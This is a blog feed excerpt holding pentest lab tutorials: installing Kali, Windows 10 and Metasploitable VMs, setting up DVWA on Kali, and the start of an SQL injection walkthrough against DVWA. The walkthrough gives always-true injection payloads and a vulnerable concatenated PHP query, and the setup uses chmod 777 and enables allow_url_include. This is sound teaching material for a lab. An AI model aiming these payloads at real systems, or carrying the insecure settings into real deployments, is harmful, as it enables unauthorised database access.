<ul class="wp-block-list"><li><strong>Username</strong>: Kali</li><li><strong>Password</strong>: Kali</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="711" height="237" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png" alt="" class="wp-image-3462" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png 711w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-52-300x100.png 300w" sizes="auto, (max-width: 711px) 100vw, 711px" /></figure>



<h2 id="step-3-install-windows-10-on-virtualbox" class="wp-block-heading">Step 3. Install Windows 10 on VirtualBox</h2>



<p>Microsoft&#8217;s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine &#8211; specifically Windows 10. You can download Windows 10 ISO file from <a href="https://www.microsoft.com/en-us/software-download/windows10ISO" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Microsoft Official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>Launch VirtualBox and follow the steps below to install Windows 10</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>A small window will open. Enter the name of your new operating system (for example, Windows 10). Click <strong>Next</strong>.</li><li>Enter the memory size you wish to assign your new virtual machine and click <strong>Next</strong>.</li><li>In the next window, select Create a virtual hard disk now and click <strong>Next</strong>.</li><li>Select `VDI` (VirtualBox Disk Image)</li><li>Select whether you want to use the <strong>Dynamically allocated</strong> or <strong>Fixed Size</strong> hard disk on the next screen. Click <strong>Next</strong>.</li><li>Set the storage size of your Windows 10 virtual machine. Click <strong>Create</strong>.</li></ol>



<p>That will create a Windows 10 virtual machine, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="346" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png" alt="" class="wp-image-3463" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-300x130.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-768x333.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>To install Windows 10 as a virtual machine, click the <strong>Start</strong> button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.</p>



<p>Click <strong>Start</strong> when done. After a few seconds, you will get to the Windows 10 installation screen.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="635" height="373" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png" alt="" class="wp-image-3464" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-54-300x176.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure></div>



<p>Continue with the installation process like you were installing Windows natively on your PC.</p>



<p>When done, you can proceed to install Metasploitable.</p>



<h2 id="step-4-install-metasploitable" class="wp-block-heading">Step 4. Install Metasploitable</h2>



<p>Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.</p>



<p>Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.</p>



<p>Head over to <a href="https://sourceforge.net/projects/metasploitable/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and download the Metasploitable VM.</p>



<p>After a successful download, launch VirtualBox and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>Set a name for your virtualization machine (for example, `Metasploitable-2`). Click <strong>Next</strong>.</li><li>Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click <strong>Next</strong>.</li><li>On the next window, select <em>&#8220;Use an existing virtual hard disk file.&#8221;</em></li><li>Click the file icon and select the Metasploitable VMDK file.</li><li>Click <strong>Create</strong></li></ol>



<p>You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="383" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png" alt="" class="wp-image-3465" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-300x144.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-768x369.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>Click <strong>Start</strong> to launch Metasploitable.</p>



<p>This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: msfadmin</li><li><strong>Password</strong>: msfadmin</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="736" height="254" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png" alt="" class="wp-image-3466" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png 736w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-56-300x104.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></figure>



<h2 id="final-thoughts" class="wp-block-heading">Final Thoughts</h2>



<p>This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.</p>



<p>Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3458</post-id>	</item>
		<item>
		<title>How to Install DVWA on Kali Linux for Pentesting Practice</title>
		<link>https://nooblinux.com/how-to-install-dvwa/</link>
					<comments>https://nooblinux.com/how-to-install-dvwa/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:08:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3441</guid>

					<description><![CDATA[Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available. Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available.</p>



<p class="orange-border">Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.</p>



<p>Practice makes perfect, but then, where do you practice hacking skills?</p>



<p>There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like <a href="https://tryhackme.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TryHackMe<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.hackthebox.eu/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HackTheBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, etc.</p>



<p>Some like <a href="https://vulnhub.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Vulnhub<span class="wpel-icon wpel-image wpel-icon-19"></span></a> allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system &#8211; The<strong><em> Damn Vulnerable Web Application (DVWA)</em></strong>.</p>



<p><strong>DVWA</strong> is a vulnerable web application developed with PHP and MYSQL.</p>



<p><strong>Yes!</strong> It’s intentionally developed to be vulnerable.</p>



<p>From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).</p>



<p>It’s also a great resource for web developers who wish to develop web applications with security in mind.</p>



<p class="blue-border">To learn a bit on how you can practice on it, you can check our related tutorial on <a href="https://nooblinux.com/sql-injection-exploitation-with-examples-using-dvwa/" data-wpel-link="internal">explaining SQL injections using DVWA</a></p>



<p>Let’s dive in and get started right away.</p>



<p class="purple-border"><strong>Note:</strong> This tutorial should work on other Debian-based distros, as well.</p>






<h2 id="step-1-download-dvwa" class="wp-block-heading">Step 1. Download DVWA</h2>



<p>Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the <code>/var/www/html</code> directory. That’s the location where localhost files are stored.</p>



<pre class="wp-block-preformatted promptkali">cd /var/www/html</pre>



<p>Next, we will clone the DVWA <a href="https://github.com/ethicalhack3r/DVWA" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GitHub repository<span class="wpel-icon wpel-image wpel-icon-19"></span></a> in the <strong>/html</strong> directory using the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo git clone https://github.com/ethicalhack3r/DVWA</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.</pre>



<h2 id="step-2-configure-dvwa" class="wp-block-heading">Step 2. Configure DVWA</h2>



<p>After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">DVWA  index.html  index.nginx-debian.html</pre>



<p>From the image above, you can see the DVWA folder. Now we need to assign <strong>Read</strong>, <strong>Write</strong> and <strong>Execute</strong> permissions (<strong>777</strong>) to this folder. Execute the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo chmod -R 777 DVWA</pre>



<p>To set up and configure DVWA, we will need to navigate to the <strong>/dvwa/config</strong> directory. Use the command below:</p>



<pre class="wp-block-preformatted promptkali">cd DVWA/config</pre>



<p>Run the ls command to see the contents of the config directory.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php.dist</pre>



<p>You should see a file with the name <code>config.inc.php.dist</code>. That file contains the default DVWA configurations.</p>



<p>We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name <code>config.inc.php</code> that we will use to configure DVWA. Use the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo cp config.inc.php.dist config.inc.php</pre>



<p>You can use the <code>ls</code> command to check if the file was copied successfully.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php  config.inc.php.dist</pre>



<p>Now, open the <code>config.inc.php</code> file with the <code>nano</code> editor to make the necessary configurations.</p>



<pre class="wp-block-preformatted promptkali">sudo nano config.inc.php</pre>



<p>Scroll down to the point where you will see parameters like <strong>db_database</strong>, <strong>db_user</strong>, <strong>db_password</strong>, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set <strong>db_user</strong> to <code>userDVWA</code> and <strong>db_password</strong> to <code>dvwa</code>.</p>


<div class="codeblock-title">Changed <strong>db_user</strong> and <strong>db_password</strong></div>



<pre class="wp-block-preformatted">...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...</pre>



<p>Save your changes (<strong>Ctrl + S</strong>) and Exit (<strong>Ctrl +X</strong>).</p>



<h2 id="step-3-configure-database" class="wp-block-heading">Step 3. Configure Database</h2>



<p>By default, Kali Linux comes installed with the <strong>MariaDB</strong> relational database management system. You, therefore, don’t need to install any packages. First, start the <strong>mysql service</strong> with the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start mysql</pre>



<p>You can check whether the service is running with the command:</p>



<pre class="wp-block-preformatted promptkali">systemctl status mysql</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /&gt;
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP&gt;
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] &gt;
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE&gt;
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status&gt;
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd</pre>



<p>To log in to the database, use the command below. In our case, we are using <strong>root</strong> since that is the superuser name set on our system. If you have something different, then you will need to replace the root.</p>



<pre class="wp-block-preformatted promptkali">sudo mysql -u root -p</pre>



<p>You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.</p>



<pre class="wp-block-preformatted">Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</pre>



<p>We will first create a new user using the credentials we set in the <strong>config.inc.php</strong> file in the DVWA directory. Execute the command below, <em>replacing the username and password</em> with your preset credentials.</p>



<pre class="wp-block-preformatted promptmariadb">create user 'userDVWA'@'127.0.0.1' identified by "dvwa";</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.010 sec)</pre>



<p>We now need to grant this user total privilege over the <code>dvwa</code> database. Execute the command below, <em>replacing the username and password</em> with your credentials.</p>



<pre class="wp-block-preformatted promptmariadb">grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.001 sec)</pre>



<p>That’s it! We are done configuring the database. Type <strong>Exit</strong> to close it.</p>



<h2 id="step-4-configure-apache-server" class="wp-block-heading">Step 4. Configure Apache Server</h2>



<p>The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.</p>



<p>To get started configuring <strong>Apache2</strong>, launch the <strong>Terminal</strong> and navigate the <code>/etc/php/7.4/apache2</code> directory.</p>



<p class="neon-border"><strong>Note</strong>: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the<strong> no such file or directory</strong> error. Therefore, you might first want to check your PHP version (<code>ls /etc/php</code>) and replace it accordingly in the command above.</p>



<pre class="wp-block-preformatted promptkali">cd /etc/php/7.4/apache2</pre>



<p>When you execute the <strong>ls</strong> command, you will see a file called <code>php.ini</code>. Execute the command below to edit this file using the <strong>nano</strong> editor.</p>



<pre class="wp-block-preformatted promptkali">sudo nano php.ini</pre>



<p>Scroll and look for the <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong> lines and ensure that both are set to <code>On</code>.</p>



<p>By default, both or one of them is always set to <code>Off</code>.</p>



<pre class="wp-block-preformatted">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as &gt;
; http://php.net/allow-url-include
allow_url_include = On</pre>



<p>Save your changes (<strong>Ctrl +S</strong>) and Exit (<strong>Ctrl + X</strong>).</p>



<p>Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start apache2
systemctl status apache2</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0&gt;
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start
</pre>



<h2 id="step-5-open-dvwa-on-your-web-browser" class="wp-block-heading">Step 5. Open DVWA on Your Web Browser</h2>



<p>Up to this point, we have configured DVWA, Database, and the Apache webserver.</p>



<p>We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.</p>



<pre class="wp-block-preformatted">127.0.0/DVWA</pre>



<p>This action will redirect us to the DVWA <code>setup.php</code> page at <code>http://127.0.0.1/DVWA/setup.php</code>.</p>



<p>When you scroll down, you will see some errors in red color. <strong>Don’t panic!</strong> Click the <strong>Create / Reset Database</strong> button at the end of the page.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="848" height="329" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png" alt="" class="wp-image-3444" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png 848w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-300x116.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-768x298.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></figure>



<p>That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.</p>



<p>Use the <em>default credentials</em> below to log in.</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="523" height="362" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png" alt="" class="wp-image-3445" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png 523w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-28-300x208.png 300w" sizes="auto, (max-width: 523px) 100vw, 523px" /></figure></div>



<p>After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="723" height="440" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png" alt="" class="wp-image-3446" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png 723w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-29-300x183.png 300w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>You will also see the DVWA Security option that enables you to choose the security level depending on your skills.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="566" height="122" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png" alt="" class="wp-image-3447" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png 566w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-30-300x65.png 300w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>



<p>That’s it! Now, you can start testing out your web penetration skills on the DVWA.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.</p>



<p>If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by <a href="https://nooblinux.com/contact/" data-wpel-link="internal">contacting us</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-install-dvwa/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3441</post-id>	</item>
		<item>
		<title>SQL Injection Exploitation Explanation &#038; Examples Using DVWA</title>
		<link>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/</link>
					<comments>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 22:41:17 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3424</guid>

					<description><![CDATA[This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection. There are several applications that you can use to learn SQL injection. In this particular post, we will use the Damn Vulnerable Web Application (DVWA). It’s a web app developed in PHP [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection.</p>



<p>There are several applications that you can use to learn SQL injection.</p>



<p>In this particular post, we will use the <a href="https://dvwa.co.uk/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Damn Vulnerable Web Application (DVWA)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It’s a web app developed in PHP and MySQL and intentionally made to be vulnerable.</p>



<p>If you don’t have DVWA installed yet, feel free to check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>.</p>






<h3 id="what-is-sql-injection-sqli" class="wp-block-heading">What is SQL Injection (SQLI)?</h3>



<p>SQL injection, commonly referred to as SQLI, is an attack where an application allows unauthorized users to send SQL queries to the database and gain access to information they shouldn’t.</p>



<p class="orange-border">In most cases, hackers use SQL injection to retrieve user/company data, modify database contents or delete the entire database, thus bringing down the whole web system.<br><br>In fatal cases, attackers can escalate the SQL injection attack thus, gaining access to the entire underlying back-end infrastructure, server or even perform a Denial of Service attack (DoS).</p>



<p>As of 2021, <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OWASP Top 10<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a standard awareness framework for developers, and web application security listed Injection (SQL, NoSQL, OS, and LDAP) as the number one vulnerability.</p>



<h3 id="the-impact-of-a-successful-sql-injection-attack" class="wp-block-heading">The Impact of a Successful SQL Injection Attack</h3>



<p>SQL injection is one of the popular attacks behind the data leaks that we see on the internet and the Dark Web. That includes information like user emails, usernames, passwords, and even credit card information. This attack leads to reputational damage and loss of revenue in regulatory fines. In other cases, attackers can escalate the SQL injection attack and create a persistent backdoor. That allows them to compromise the system for a long time and remain unnoticed.</p>



<h3 id="how-an-sql-injection-attack-works" class="wp-block-heading">How an SQL Injection Attack Works</h3>



<p>Think of a website with a simple login form with two fields &#8211; a username, password, and a Login or Submit button. After you enter the required credentials, when you hit the Submit button, the query sent to the database has this syntax:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username=$user;</pre>



<p>E.g., If your name is JohnDoe,</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='Johndoe';</pre>



<p>Anyone with a hacker’s mindset can decide to manipulate the application by entering a value different from the username. This value will be an SQL query to reveal or modify the database’s contents. For example, if the attacker entered abc&#8217; OR 1=1<em>&#8211;&#8216;</em> instead of the actual username, the resulting SQL query would look like this:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';</pre>



<p>Let’s dissect this input <code>abc'</code> OR <code>1=1--'</code> and see how it manipulates the database.</p>



<ul class="wp-block-list"><li><code>abc'</code>: Here we just guessed any username but we added a single quote &#8216; at the end. The single quote closes our username field, and the following part becomes an SQL query.</li><li><code>OR</code> is a conjunction in SQL, and 1=1 will always be true. Therefore, no matter what you put in the username field, the query will always be True and return all the records of the <strong>userdb</strong> database.</li><li>The <code>--'</code>(double dash) is a comment in SQL. It tells the SQL server not to execute any query past this point. In this particular example, we are using double dash to comment out errors that would arise because of the trailing single quote at the end. You can also use <code>#</code> instead of <code>--</code>. E.g <code>abc' 1=1#</code></li></ul>



<p>I believe up to this point; you have a good understanding of what SQL injection is. Let’s dive in and exploit actual SQL injection queries on our DVWA.</p>



<h3 id="setup-dvwa-for-sql-injection" class="wp-block-heading">Setup DVWA for SQL Injection</h3>



<p>As stated above, if you haven’t configured DVWA on your system, please check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>, which gives you a step-by-step procedure.</p>



<p>If you set up DVWA on your localhost, start Apache Web server and MySQl using the commands below:</p>



<pre class="wp-block-preformatted prompt">sudo systemctl start apache2</pre>



<pre class="wp-block-preformatted prompt">systemctl start mysql</pre>



<p>Open your browser and enter the URL <a href="https://127.0.0.1/dvwa" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/dvwa<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://127.0.0.1/DVWA" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/DVWA<span class="wpel-icon wpel-image wpel-icon-19"></span></a> if you had renamed it. That will open the DVWA login page. Use the default credentials below:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<p>After a successful login, you will see the DVWA main page. First, click on the DVWA Security on the bottom left, set security to Low, and click <em>Submit</em>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="708" height="207" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png" alt="" class="wp-image-3425" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png 708w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-31-300x88.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>On the left section of the page, you will see the various vulnerable pages to exploit. Click SQL Injection. You should see a page similar to this below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="670" height="233" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png" alt="" class="wp-image-3426" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png 670w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-32-300x104.png 300w" sizes="auto, (max-width: 670px) 100vw, 670px" /></figure>



<h3 id="view-the-vulnerable-code" class="wp-block-heading">View the Vulnerable Code</h3>



<p>On the SQL injection page, click the View Source button at the bottom right. That will open a page with the SQL Injection source code written in PHP. When you go through the code, you will see a line like:</p>



<pre class="wp-block-preformatted">$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";</pre>



<p>That is the vulnerable line of code. At the end of the line, you can see the user input is concatenated to the SQL query without being validated. That allows us to pass arbitrary commands into the database. Let’s get started.</p>



<h4 id="basic-injection" class="wp-block-heading">Basic Injection</h4>



<p>On the SQL Injection page, we have a USER ID field. When we enter number 1, the application returns the Firstname and Surname of the user with ID 1.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="574" height="120" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png" alt="" class="wp-image-3427" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png 574w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-33-300x63.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>If we continue trying numbers like 2,3,4 and 5, we still get an output. However, any number from 6 doesn’t return anything. Therefore, our web app has only five users. Behind the scenes, the SQL query that will execute in the database is:</p>



<pre class="wp-block-preformatted">SELECT First_Name,Last_Name FROM users WHERE ID='1';</pre>



<p>Other than using the USER ID field, we can also use the URL to pass our queries. When you first enter ID 1 and click submit, the URL will look like this:</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</pre>



<p>The injectable part in this URL is the id field. Delete the number 1 and enter a different value like 2 or 3, as shown below. Hit Enter.</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</pre>



<p>You will notice that this will also return the username and surname of the user with ID 2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="459" height="295" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png" alt="" class="wp-image-3428" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png 459w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-34-300x193.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></figure>



<h4 id="always-true-injection" class="wp-block-heading">Always True Injection</h4>



<p>We looked at this when talking about How an SQL Injection attack works. Enter an input like <code>test' OR 1=1#</code> and hit <strong>Enter</strong>. That will return the username and surname of all users in the database.</p>



